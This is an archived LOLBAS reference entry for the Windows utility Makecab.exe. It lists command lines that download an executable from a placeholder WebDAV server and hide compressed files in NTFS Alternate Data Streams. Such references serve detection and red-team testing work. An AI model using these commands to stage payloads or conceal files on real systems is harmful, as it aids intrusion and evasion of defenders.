LOLBAS/Archive-Old-Version/OSBinaries/Makecab.exe.md

Makecab.exe

• Functions: Package, Add ADS, Download

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
Compresses the target file and stores it in the target file.

makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

• Resources:

  • https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

• Full path:

  • c:\windows\system32\makecab.exe
  • c:\windows\sysWOW64\makecab.exe

• Notes: Thanks to Oddvar Moe - @oddvarmoe